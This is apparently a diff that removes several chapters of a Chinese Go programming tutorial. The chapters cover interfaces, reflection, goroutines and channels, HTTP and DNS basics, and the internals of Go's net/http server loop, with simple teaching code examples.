让我们来继续做更多的扩展Student和Employee实现另一个方法`Sing`然后Student实现方法BorrowMoney而Employee实现SpendSalary。
这样Student实现了三个方法SayHi、Sing、BorrowMoney而Employee实现了SayHi、Sing、SpendSalary。
上面这些方法的组合称为interface(被对象Student和Employee实现)。例如Student和Employee都实现了interfaceSayHi和Sing也就是这两个对象是该interface类型。而Employee没有实现这个interfaceSayHi、Sing和BorrowMoney因为Employee没有实现BorrowMoney这个方法。
### interface类型
interface类型定义了一组方法如果某个对象实现了某个接口的所有方法则此对象就实现了此接口。详细的语法参考下面这个例子
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段Human
school string
loan float32
}
type Employee struct {
Human //匿名字段Human
company string
money float32
}
//Human对象实现Sayhi方法
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
// Human对象实现Sing方法
func (h *Human) Sing(lyrics string) {
fmt.Println("La la, la la la, la la la la la...", lyrics)
}
//Human对象实现Guzzle方法
func (h *Human) Guzzle(beerStein string) {
fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}
// Employee重载Human的Sayhi方法
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //此句可以分成多行
}
//Student实现BorrowMoney方法
func (s *Student) BorrowMoney(amount float32) {
s.loan += amount // (again and again and...)
}
//Employee实现SpendSalary方法
func (e *Employee) SpendSalary(amount float32) {
e.money -= amount // More vodka please!!! Get me through the day!
}
// 定义interface
type Men interface {
SayHi()
Sing(lyrics string)
Guzzle(beerStein string)
}
type YoungChap interface {
SayHi()
Sing(song string)
BorrowMoney(amount float32)
}
type ElderlyGent interface {
SayHi()
Sing(song string)
SpendSalary(amount float32)
}
通过上面的代码我们可以知道interface可以被任意的对象实现。我们看到上面的Men interface被Human、Student和Employee实现。同理一个对象可以实现任意多个interface例如上面的Student实现了Men和YoungChap两个interface。
最后任意的类型都实现了空interface(我们这样定义interface{})也就是包含0个method的interface。
### interface值
那么interface里面到底能存什么值呢如果我们定义了一个interface的变量那么这个变量里面可以存实现这个interface的任意类型的对象。例如上面例子中我们定义了一个Men interface类型的变量m那么m里面可以存Human、Student或者Employee值。
因为m能够持有这三种类型的对象所以我们可以定义一个包含Men类型元素的slice这个slice可以被赋予实现了Men接口的任意结构的对象这个和我们传统意义上面的slice有所不同。
让我们来看一下下面这个例子:
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
loan float32
}
type Employee struct {
Human //匿名字段
company string
money float32
}
//Human实现SayHi方法
func (h Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
//Human实现Sing方法
func (h Human) Sing(lyrics string) {
fmt.Println("La la la la...", lyrics)
}
//Employee重载Human的SayHi方法
func (e Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone)
}
// Interface Men被Human,Student和Employee实现
// 因为这三个类型都实现了这两个方法
type Men interface {
SayHi()
Sing(lyrics string)
}
func main() {
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd.", 5000}
//定义Men类型的变量i
var i Men
//i能存储Student
i = mike
fmt.Println("This is Mike, a Student:")
i.SayHi()
i.Sing("November rain")
//i也能存储Employee
i = tom
fmt.Println("This is tom, an Employee:")
i.SayHi()
i.Sing("Born to be wild")
//定义了slice Men
fmt.Println("Let's use a slice of Men and see what happens")
x := make([]Men, 3)
//这三个都是不同类型的元素但是他们实现了interface同一个接口
x[0], x[1], x[2] = paul, sam, mike
for _, value := range x{
value.SayHi()
}
}
通过上面的代码你会发现interface就是一组抽象方法的集合它必须由其他非interface类型实现而不能自我实现 Go通过interface实现了duck-typing:即"当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子"。
### 空interface
空interface(interface{})不包含任何的method正因为如此所有的类型都实现了空interface。空interface对于描述起不到任何的作用(因为它不包含任何的method但是空interface在我们需要存储任意类型的数值的时候相当有用因为它可以存储任意类型的数值。它有点类似于C语言的void*类型。
// 定义a为空接口
var a interface{}
var i int = 5
s := "Hello world"
// a可以存储任意类型的数值
a = i
a = s
一个函数把interface{}作为参数那么他可以接受任意类型的值作为参数如果一个函数返回interface{},那么也就可以返回任意类型的值。是不是很有用啊!
### interface函数参数
interface的变量可以持有任意实现该interface类型的对象这给我们编写函数(包括method)提供了一些额外的思考我们是不是可以通过定义interface参数让函数接受各种类型的参数。
举个例子fmt.Println是我们常用的一个函数但是你是否注意到它可以接受任意类型的数据。打开fmt的源码文件你会看到这样一个定义:
type Stringer interface {
String() string
}
也就是说任何实现了String方法的类型都能作为参数被fmt.Println调用,让我们来试一试
package main
import (
"fmt"
"strconv"
)
type Human struct {
name string
age int
phone string
}
// 通过这个方法 Human 实现了 fmt.Stringer
func (h Human) String() string {
return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱"
}
func main() {
Bob := Human{"Bob", 39, "000-7777-XXX"}
fmt.Println("This Human is : ", Bob)
}
现在我们再回顾一下前面的Box示例你会发现Color结构也定义了一个methodString。其实这也是实现了fmt.Stringer这个interface即如果需要某个类型能被fmt包以特殊的格式输出你就必须实现Stringer这个接口。如果没有实现这个接口fmt将以默认的方式输出。
//实现同样的功能
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("The biggest one is", boxes.BiggestsColor())
实现了error接口的对象即实现了Error() string的对象使用fmt输出时会调用Error()方法因此不必再定义String()方法了。
### interface变量存储的类型
我们知道interface的变量里面可以存储任意类型的数值(该类型实现了interface)。那么我们怎么反向知道这个变量里面实际保存了的是哪个类型的对象呢?目前常用的有两种方法:
- Comma-ok断言
Go语言里面有一个语法可以直接判断是否是该类型的变量 value, ok = element.(T)这里value就是变量的值ok是一个bool类型element是interface变量T是断言的类型。
如果element里面确实存储了T类型的数值那么ok返回true否则返回false。
让我们通过一个例子来更加深入的理解。
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List [] Element
type Person struct {
name string
age int
}
//定义了String方法实现了fmt.Stringer
func (p Person) String() string {
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 // an int
list[1] = "Hello" // a string
list[2] = Person{"Dennis", 70}
for index, element := range list {
if value, ok := element.(int); ok {
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
} else if value, ok := element.(string); ok {
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
} else if value, ok := element.(Person); ok {
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
} else {
fmt.Printf("list[%d] is of a different type\n", index)
}
}
}
是不是很简单啊同时你是否注意到了多个if里面还记得我前面介绍流程时讲过if里面允许初始化变量。
也许你注意到了我们断言的类型越多那么if else也就越多所以才引出了下面要介绍的switch。
- switch测试
最好的讲解就是代码例子,现在让我们重写上面的这个实现
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List [] Element
type Person struct {
name string
age int
}
//打印
func (p Person) String() string {
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 //an int
list[1] = "Hello" //a string
list[2] = Person{"Dennis", 70}
for index, element := range list{
switch value := element.(type) {
case int:
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
case string:
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
case Person:
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
default:
fmt.Println("list[%d] is of a different type", index)
}
}
}
这里有一点需要强调的是:`element.(type)`语法不能在switch外的任何逻辑里面使用如果你要在switch外面判断一个类型就使用`comma-ok`。
### 嵌入interface
Go里面真正吸引人的是它内置的逻辑语法就像我们在学习Struct时学习的匿名字段多么的优雅啊那么相同的逻辑引入到interface里面那不是更加完美了。如果一个interface1作为interface2的一个嵌入字段那么interface2隐式的包含了interface1里面的method。
我们可以看到源码包container/heap里面有这样的一个定义
type Interface interface {
sort.Interface //嵌入字段sort.Interface
Push(x interface{}) //a Push method to push elements into the heap
Pop() interface{} //a Pop elements that pops elements from the heap
}
我们看到sort.Interface其实就是嵌入字段把sort.Interface的所有method给隐式的包含进来了。也就是下面三个方法
type Interface interface {
// Len is the number of elements in the collection.
Len() int
// Less returns whether the element with index i should sort
// before the element with index j.
Less(i, j int) bool
// Swap swaps the elements with indexes i and j.
Swap(i, j int)
}
另一个例子就是io包下面的 io.ReadWriter 它包含了io包下面的Reader和Writer两个interface
// io.ReadWriter
type ReadWriter interface {
Reader
Writer
}
### 反射
Go语言实现了反射所谓反射就是能检查程序在运行时的状态。我们一般用到的包是reflect包。如何运用reflect包官方的这篇文章详细的讲解了reflect包的实现原理[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html)
使用reflect一般分成三步下面简要的讲解一下要去反射是一个类型的值(这些值都实现了空interface)首先需要把它转化成reflect对象(reflect.Type或者reflect.Value根据不同的情况调用不同的函数)。这两种获取方式如下:
t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素
v := reflect.ValueOf(i) //得到实际的值通过v我们获取存储在里面的值还可以去改变值
转化为reflect对象之后我们就可以进行一些操作了也就是将reflect对象转化成相应的值例如
tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签
name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值
获取反射值能返回相应的类型和数值
var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("type:", v.Type())
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
fmt.Println("value:", v.Float())
最后,反射的话,那么反射的字段必须是可修改的,我们前面学习过传值和传引用,这个里面也是一样的道理。反射的字段必须是可读写的意思是,如果下面这样写,那么会发生错误
var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)
如果要修改相应的值,必须这样写
var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)
上面只是对反射的简单介绍,更深入的理解还需要自己在编程中不断的实践。
## links
* [目录](<preface.md>)
* 上一章: [面向对象](<02.5.md>)
* 下一节: [并发](<02.7.md>)

View File

@@ -1,240 +0,0 @@
# 2.7 并发
有人把Go比作21世纪的C语言第一是因为Go语言设计简单第二21世纪最重要的就是并行程序设计而Go从语言层面就支持了并行。
## goroutine
goroutine是Go并行设计的核心。goroutine说到底其实就是线程但是它比线程更小十几个goroutine可能体现在底层就是五六个线程Go语言内部帮你实现了这些goroutine之间的内存共享。执行goroutine只需极少的栈内存(大概是4~5KB)当然会根据相应的数据伸缩。也正因为如此可同时运行成千上万个并发任务。goroutine比thread更易用、更高效、更轻便。
goroutine是通过Go的runtime管理的一个线程管理器。goroutine通过`go`关键字实现了,其实就是一个普通的函数。
go hello(a, b, c)
通过关键字go就启动了一个goroutine。我们来看一个例子
package main
import (
"fmt"
"runtime"
)
func say(s string) {
for i := 0; i < 5; i++ {
runtime.Gosched()
fmt.Println(s)
}
}
func main() {
go say("world") //开一个新的Goroutines执行
say("hello") //当前Goroutines执行
}
// 以上程序执行后将输出:
// hello
// world
// hello
// world
// hello
// world
// hello
// world
// hello
我们可以看到go关键字很方便的就实现了并发编程。
上面的多个goroutine运行在同一个进程里面共享内存数据不过设计上我们要遵循不要通过共享来通信而要通过通信来共享。
> runtime.Gosched()表示让CPU把时间片让给别人,下次某个时候继续恢复执行该goroutine。
>默认情况下,调度器仅使用单线程,也就是说只实现了并发。想要发挥多核处理器的并行,需要在我们的程序中显式调用 runtime.GOMAXPROCS(n) 告诉调度器同时使用多个线程。GOMAXPROCS 设置了同时运行逻辑代码的系统线程的最大数量并返回之前的设置。如果n < 1不会改变当前设置。以后Go的新版本中调度得到改进后这将被移除。这里有一篇Rob介绍的关于并发和并行的文章http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide
## channels
goroutine运行在相同的地址空间因此访问共享内存必须做好同步。那么goroutine之间如何进行数据的通信呢Go提供了一个很好的通信机制channel。channel可以与Unix shell 中的双向管道做类比可以通过它发送或者接收值。这些值只能是特定的类型channel类型。定义一个channel时也需要定义发送到channel的值的类型。注意必须使用make 创建channel
ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})
channel通过操作符`<-`来接收和发送数据
ch <- v // 发送v到channel ch.
v := <-ch // 从ch中接收数据并赋值给v
我们把这些应用到我们的例子中来:
package main
import "fmt"
func sum(a []int, c chan int) {
total := 0
for _, v := range a {
total += v
}
c <- total // send total to c
}
func main() {
a := []int{7, 2, 8, -9, 4, 0}
c := make(chan int)
go sum(a[:len(a)/2], c)
go sum(a[len(a)/2:], c)
x, y := <-c, <-c // receive from c
fmt.Println(x, y, x + y)
}
默认情况下channel接收和发送数据都是阻塞的除非另一端已经准备好这样就使得Goroutines同步变的更加的简单而不需要显式的lock。所谓阻塞也就是如果读取value := <-ch它将会被阻塞直到有数据接收。其次任何发送ch<-5将会被阻塞直到数据被读出。无缓冲channel是在多个goroutine之间同步很棒的工具。
## Buffered Channels
上面我们介绍了默认的非缓存类型的channel不过Go也允许指定channel的缓冲大小很简单就是channel可以存储多少元素。ch:= make(chan bool, 4)创建了可以存储4个元素的bool 型channel。在这个channel 中前4个元素可以无阻塞的写入。当写入第5个元素时代码将会阻塞直到其他goroutine从channel 中读取一些元素,腾出空间。
ch := make(chan type, value)
当 value = 0 时channel 是无缓冲阻塞读写的当value > 0 时channel 有缓冲、是非阻塞的,直到写满 value 个元素才阻塞写入。
我们看一下下面这个例子你可以在自己本机测试一下修改相应的value值
package main
import "fmt"
func main() {
c := make(chan int, 2)//修改2为1就报错修改2为3可以正常运行
c <- 1
c <- 2
fmt.Println(<-c)
fmt.Println(<-c)
}
//修改为1报如下的错误:
//fatal error: all goroutines are asleep - deadlock!
## Range和Close
上面这个例子中我们需要读取两次c这样不是很方便Go考虑到了这一点所以也可以通过range像操作slice或者map一样操作缓存类型的channel请看下面的例子
package main
import (
"fmt"
)
func fibonacci(n int, c chan int) {
x, y := 1, 1
for i := 0; i < n; i++ {
c <- x
x, y = y, x + y
}
close(c)
}
func main() {
c := make(chan int, 10)
go fibonacci(cap(c), c)
for i := range c {
fmt.Println(i)
}
}
`for i := range c`能够不断的读取channel里面的数据直到该channel被显式的关闭。上面代码我们看到可以显式的关闭channel生产者通过内置函数`close`关闭channel。关闭channel之后就无法再发送任何数据了在消费方可以通过语法`v, ok := <-ch`测试channel是否被关闭。如果ok返回false那么说明channel已经没有任何数据并且已经被关闭。
>记住应该在生产者的地方关闭channel而不是消费的地方去关闭它这样容易引起panic
>另外记住一点的就是channel不像文件之类的不需要经常去关闭只有当你确实没有任何发送数据了或者你想显式的结束range循环之类的
## Select
我们上面介绍的都是只有一个channel的情况那么如果存在多个channel的时候我们该如何操作呢Go里面提供了一个关键字`select`,通过`select`可以监听channel上的数据流动。
`select`默认是阻塞的只有当监听的channel中有发送或接收可以进行时才会运行当多个channel都准备好的时候select是随机的选择一个执行的。
package main
import "fmt"
func fibonacci(c, quit chan int) {
x, y := 1, 1
for {
select {
case c <- x:
x, y = y, x + y
case <-quit:
fmt.Println("quit")
return
}
}
}
func main() {
c := make(chan int)
quit := make(chan int)
go func() {
for i := 0; i < 10; i++ {
fmt.Println(<-c)
}
quit <- 0
}()
fibonacci(c, quit)
}
在`select`里面还有default语法`select`其实就是类似switch的功能default就是当监听的channel都没有准备好的时候默认执行的select不再阻塞等待channel
select {
case i := <-c:
// use i
default:
// 当c阻塞的时候执行这里
}
## 超时
有时候会出现goroutine阻塞的情况那么我们如何避免整个程序进入阻塞的情况呢我们可以利用select来设置超时通过如下的方式实现
func main() {
c := make(chan int)
o := make(chan bool)
go func() {
for {
select {
case v := <- c:
println(v)
case <- time.After(5 * time.Second):
println("timeout")
o <- true
break
}
}
}()
<- o
}
## runtime goroutine
runtime包中有几个处理goroutine的函数
- Goexit
退出当前执行的goroutine但是defer函数还会继续调用
- Gosched
让出当前goroutine的执行权限调度器安排其他等待的任务运行并在下次某个时候从该位置恢复执行。
- NumCPU
返回 CPU 核数量
- NumGoroutine
返回正在执行和排队的任务总数
- GOMAXPROCS
用来设置可以并行计算的CPU核数的最大值并返回之前的值。
## links
* [目录](<preface.md>)
* 上一章: [interface](<02.6.md>)
* 下一节: [总结](<02.8.md>)

View File

@@ -1,160 +0,0 @@
# 3.1 Web工作方式
我们平时浏览网页的时候,会打开浏览器,输入网址后按下回车键,然后就会显示出你想要浏览的内容。在这个看似简单的用户行为背后,到底隐藏了些什么呢?
对于普通的上网过程系统其实是这样做的浏览器本身是一个客户端当你输入URL的时候首先浏览器会去请求DNS服务器通过DNS获取相应的域名对应的IP然后通过IP地址找到IP对应的服务器后要求建立TCP连接等浏览器发送完HTTP Request请求包后服务器接收到请求包之后才开始处理请求包服务器调用自身服务返回HTTP Response响应客户端收到来自服务器的响应后开始渲染这个Response包里的主体body等收到全部的内容随后断开与该服务器之间的TCP连接。
![](images/3.1.web2.png?raw=true)
图3.1 用户访问一个Web站点的过程
一个Web服务器也被称为HTTP服务器它通过HTTP协议与客户端通信。这个客户端通常指的是Web浏览器(其实手机端客户端内部也是浏览器实现的)。
Web服务器的工作原理可以简单地归纳为
- 客户机通过TCP/IP协议建立到服务器的TCP连接
- 客户端向服务器发送HTTP协议请求包请求服务器里的资源文档
- 服务器向客户机发送HTTP协议应答包如果请求的资源包含有动态语言的内容那么服务器会调用动态语言的解释引擎负责处理“动态内容”并将处理得到的数据返回给客户端
- 客户机与服务器断开。由客户端解释HTML文档在客户端屏幕上渲染图形结果
一个简单的HTTP事务就是这样实现的看起来很复杂原理其实是挺简单的。需要注意的是客户机与服务器之间的通信是非持久连接的也就是当服务器发送了应答后就与客户机断开连接等待下一次请求。
## URL和DNS解析
我们浏览网页都是通过URL访问的那么URL到底是怎么样的呢
URL(Uniform Resource Locator)是“统一资源定位符”的英文缩写,用于描述一个网络上的资源, 基本格式如下
scheme://host[:port#]/path/.../[?query-string][#anchor]
scheme 指定低层使用的协议(例如http, https, ftp)
host HTTP服务器的IP地址或者域名
port# HTTP服务器的默认端口是80这种情况下端口号可以省略。如果使用了别的端口必须指明例如 http://www.cnblogs.com:8080/
path 访问资源的路径
query-string 发送给http服务器的数据
anchor 锚
DNS(Domain Name System)是“域名系统”的英文缩写是一种组织成域层次结构的计算机和网络服务命名系统它用于TCP/IP网络它从事将主机名或域名转换为实际IP地址的工作。DNS就是这样的一位“翻译官”它的基本工作原理可用下图来表示。
![](images/3.1.dns_hierachy.png?raw=true)
图3.2 DNS工作原理
更详细的DNS解析的过程如下这个过程有助于我们理解DNS的工作模式
1. 在浏览器中输入www.qq.com域名操作系统会先检查自己本地的hosts文件是否有这个网址映射关系如果有就先调用这个IP地址映射完成域名解析。
2. 如果hosts里没有这个域名的映射则查找本地DNS解析器缓存是否有这个网址映射关系如果有直接返回完成域名解析。
3. 如果hosts与本地DNS解析器缓存都没有相应的网址映射关系首先会找TCP/IP参数中设置的首选DNS服务器在此我们叫它本地DNS服务器此服务器收到查询时如果要查询的域名包含在本地配置区域资源中则返回解析结果给客户机完成域名解析此解析具有权威性。
4. 如果要查询的域名不由本地DNS服务器区域解析但该服务器已缓存了此网址映射关系则调用这个IP地址映射完成域名解析此解析不具有权威性。
5. 如果本地DNS服务器本地区域文件与缓存解析都失效则根据本地DNS服务器的设置是否设置转发器进行查询如果未用转发模式本地DNS就把请求发至 “根DNS服务器”“根DNS服务器”收到请求后会判断这个域名(.com)是谁来授权管理并会返回一个负责该顶级域名服务器的一个IP。本地DNS服务器收到IP信息后将会联系负责.com域的这台服务器。这台负责.com域的服务器收到请求后如果自己无法解析它就会找一个管理.com域的下一级DNS服务器地址(qq.com)给本地DNS服务器。当本地DNS服务器收到这个地址后就会找qq.com域服务器重复上面的动作进行查询直至找到www.qq.com主机。
6. 如果用的是转发模式此DNS服务器就会把请求转发至上一级DNS服务器由上一级服务器进行解析上一级服务器如果不能解析或找根DNS或把转请求转至上上级以此循环。不管是本地DNS服务器用是是转发还是根提示最后都是把结果返回给本地DNS服务器由此DNS服务器再返回给客户机。
![](images/3.1.dns_inquery.png?raw=true)
图3.3 DNS解析的整个流程
> 所谓 `递归查询过程` 就是 “查询的递交者” 更替, 而 `迭代查询过程` 则是 “查询的递交者”不变。
>
> 举个例子来说,你想知道某个一起上法律课的女孩的电话,并且你偷偷拍了她的照片,回到寝室告诉一个很仗义的哥们儿,这个哥们儿二话没说,拍着胸脯告诉你,甭急,我替你查(此处完成了一次递归查询,即,问询者的角色更替)。然后他拿着照片问了学院大四学长学长告诉他这姑娘是xx系的然后这哥们儿马不停蹄又问了xx系的办公室主任助理同学助理同学说是xx系yy班的然后很仗义的哥们儿去xx系yy班的班长那里取到了该女孩儿电话。(此处完成若干次迭代查询,即,问询者角色不变,但反复更替问询对象)最后,他把号码交到了你手里。完成整个查询过程。
通过上面的步骤我们最后获取的是IP地址也就是浏览器最后发起请求的时候是基于IP来和服务器做信息交互的。
## HTTP协议详解
HTTP协议是Web工作的核心所以要了解清楚Web的工作方式就需要详细的了解清楚HTTP是怎么样工作的。
HTTP是一种让Web服务器与浏览器(客户端)通过Internet发送与接收数据的协议,它建立在TCP协议之上一般采用TCP的80端口。它是一个请求、响应协议--客户端发出一个请求服务器响应这个请求。在HTTP中客户端总是通过建立一个连接与发送一个HTTP请求来发起一个事务。服务器不能主动去与客户端联系也不能给客户端发出一个回调连接。客户端与服务器端都可以提前中断一个连接。例如当浏览器下载一个文件时你可以通过点击“停止”键来中断文件的下载关闭与服务器的HTTP连接。
HTTP协议是无状态的同一个客户端的这次请求和上次请求是没有对应关系对HTTP服务器来说它并不知道这两个请求是否来自同一个客户端。为了解决这个问题 Web程序引入了Cookie机制来维护连接的可持续状态。
>HTTP协议是建立在TCP协议之上的因此TCP攻击一样会影响HTTP的通讯例如比较常见的一些攻击SYN Flood是当前最流行的DoS拒绝服务攻击与DdoS分布式拒绝服务攻击的方式之一这是一种利用TCP协议缺陷发送大量伪造的TCP连接请求从而使得被攻击方资源耗尽CPU满负荷或内存不足的攻击方式。
### HTTP请求包浏览器信息
我们先来看看Request包的结构, Request包分为3部分第一部分叫Request line请求行, 第二部分叫Request header请求头,第三部分是body主体。header和body之间有个空行请求包的例子所示:
GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本
Hostwww.iana.org //服务端的主机名
User-AgentMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //浏览器信息
Accepttext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的mine
Accept-Encodinggzip,deflate,sdch //是否支持流压缩
Accept-CharsetUTF-8,*;q=0.5 //客户端字符编码集
//空行,用于分割请求头和消息体
//消息体,请求资源参数,例如POST传递的参数
HTTP协议定义了很多与服务器交互的请求方法最基本的有4种分别是GET,POST,PUT,DELETE。一个URL地址用于描述一个网络上的资源而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查删4个操作。我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息而POST一般用于更新资源信息。
通过fiddler抓包可以看到如下请求信息:
![](images/3.1.http.png?raw=true)
图3.4 fiddler抓取的GET信息
![](images/3.1.httpPOST.png?raw=true)
图3.5 fiddler抓取的POST信息
我们看看GET和POST的区别:
1. 我们可以看到GET请求消息体为空POST请求带有消息体。
2. GET提交的数据会放在URL之后以`?`分割URL和传输数据参数之间以`&`相连,如`EditPosts.aspx?name=test1&id=123456`。POST方法是把提交的数据放在HTTP包的body中。
3. GET提交的数据大小有限制因为浏览器对URL的长度有限制而POST方法提交的数据没有限制。
4. GET方式提交数据会带来安全问题比如一个登录页面通过GET方式提交数据时用户名和密码将出现在URL上如果页面可以被缓存或者其他人可以访问这台机器就可以从历史记录获得该用户的账号和密码。
### HTTP响应包服务器信息
我们再来看看HTTP的response包他的结构如下
HTTP/1.1 200 OK //状态行
Server: nginx/1.0.8 //服务器使用的WEB软件名及版本
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //发送时间
Content-Type: text/html //服务器发送信息的类型
Transfer-Encoding: chunked //表示发送HTTP包是分段发的
Connection: keep-alive //保持连接状态
Content-Length: 90 //主体内容长度
//空行 用来分割消息头和主体
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //消息体
Response包中的第一行叫做状态行由HTTP协议版本号 状态码, 状态消息 三部分组成。
状态码用来告诉HTTP客户端,HTTP服务器是否产生了预期的Response。HTTP/1.1协议中定义了5类状态码 状态码由三位数字组成,第一个数字定义了响应的类别
- 1XX 提示信息 - 表示请求已被成功接收,继续处理
- 2XX 成功 - 表示请求已被成功接收,理解,接受
- 3XX 重定向 - 要完成请求必须进行更进一步的处理
- 4XX 客户端错误 - 请求有语法错误或请求无法实现
- 5XX 服务器端错误 - 服务器未能实现合法的请求
我们看下面这个图展示了详细的返回信息左边可以看到有很多的资源返回码200是常用的表示正常信息302表示跳转。response header里面展示了详细的信息。
![](images/3.1.response.png?raw=true)
图3.6 访问一次网站的全部请求信息
### HTTP协议是无状态的和Connection: keep-alive的区别
无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。从另一方面讲,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。
HTTP是一个无状态的面向连接的协议无状态不代表HTTP不能保持TCP连接更不能代表HTTP使用的是UDP协议面对无连接
从HTTP/1.1起默认都开启了Keep-Alive保持连接特性简单地说当一个网页打开完成后客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭如果客户端再次访问这个服务器上的网页会继续使用这一条已经建立的TCP连接。
Keep-Alive不会永久保持连接它有一个保持时间可以在不同服务器软件如Apache中设置这个时间。
## 请求实例
![](images/3.1.web.png?raw=true)
图3.7 一次请求的request和response
上面这张图我们可以了解到整个的通讯过程同时细心的读者是否注意到了一点一个URL请求但是左边栏里面为什么会有那么多的资源请求(这些都是静态文件go对于静态文件有专门的处理方式)。
这个就是浏览器的一个功能第一次请求url服务器端返回的是html页面然后浏览器开始渲染HTML当解析到HTML DOM里面的图片连接css脚本和js脚本的链接浏览器就会自动发起一个请求静态资源的HTTP请求获取相对应的静态资源然后浏览器就会渲染出来最终将所有资源整合、渲染完整展现在我们面前的屏幕上。
>网页优化方面有一项措施是减少HTTP请求次数就是把尽量多的css和js资源合并在一起目的是尽量减少网页请求静态资源的次数提高网页加载速度同时减缓服务器的压力。
## links
* [目录](<preface.md>)
* 上一节: [Web基础](<03.0.md>)
* 下一节: [Go搭建一个Web服务器](<03.2.md>)

View File

@@ -1,87 +0,0 @@
# 3.3 Go如何使得Web工作
前面小节介绍了如何通过Go搭建一个Web服务我们可以看到简单应用一个net/http包就方便的搭建起来了。那么Go在底层到底是怎么做的呢万变不离其宗Go的Web服务工作也离不开我们第一小节介绍的Web工作方式。
## web工作方式的几个概念
以下均是服务器端的几个概念
Request用户请求的信息用来解析用户的请求信息包括post、get、cookie、url等信息
Response服务器需要反馈给客户端的信息
Conn用户的每次请求链接
Handler处理请求和生成返回信息的处理逻辑
## 分析http包运行机制
如下图所示是Go实现Web服务的工作模式的流程图
![](images/3.3.http.png?raw=true)
图3.9 http包执行流程
1. 创建Listen Socket, 监听指定的端口, 等待客户端请求到来。
2. Listen Socket接受客户端的请求, 得到Client Socket, 接下来通过Client Socket与客户端通信。
3. 处理客户端的请求, 首先从Client Socket读取HTTP请求的协议头, 如果是POST方法, 还可能要读取客户端提交的数据, 然后交给相应的handler处理请求, handler处理完毕准备好客户端需要的数据, 通过Client Socket写给客户端。
这整个的过程里面我们只要了解清楚下面三个问题也就知道Go是如何让Web运行起来了
- 如何监听端口?
- 如何接收客户端请求?
- 如何分配handler
前面小节的代码里面我们可以看到Go是通过一个函数`ListenAndServe`来处理这些事情的这个底层其实这样处理的初始化一个server对象然后调用了`net.Listen("tcp", addr)`也就是底层用TCP协议搭建了一个服务然后监控我们设置的端口。
下面代码来自Go的http包的源码通过下面的代码我们可以看到整个的http处理过程
func (srv *Server) Serve(l net.Listener) error {
defer l.Close()
var tempDelay time.Duration // how long to sleep on accept failure
for {
rw, e := l.Accept()
if e != nil {
if ne, ok := e.(net.Error); ok && ne.Temporary() {
if tempDelay == 0 {
tempDelay = 5 * time.Millisecond
} else {
tempDelay *= 2
}
if max := 1 * time.Second; tempDelay > max {
tempDelay = max
}
log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
time.Sleep(tempDelay)
continue
}
return e
}
tempDelay = 0
c, err := srv.newConn(rw)
if err != nil {
continue
}
go c.serve()
}
}
监控之后如何接收客户端的请求呢?上面代码执行监控端口之后,调用了`srv.Serve(net.Listener)`函数,这个函数就是处理接收客户端的请求信息。这个函数里面起了一个`for{}`首先通过Listener接收请求其次创建一个Conn最后单独开了一个goroutine把这个请求的数据当做参数扔给这个conn去服务`go c.serve()`。这个就是高并发体现了用户的每一次请求都是在一个新的goroutine去服务相互不影响。
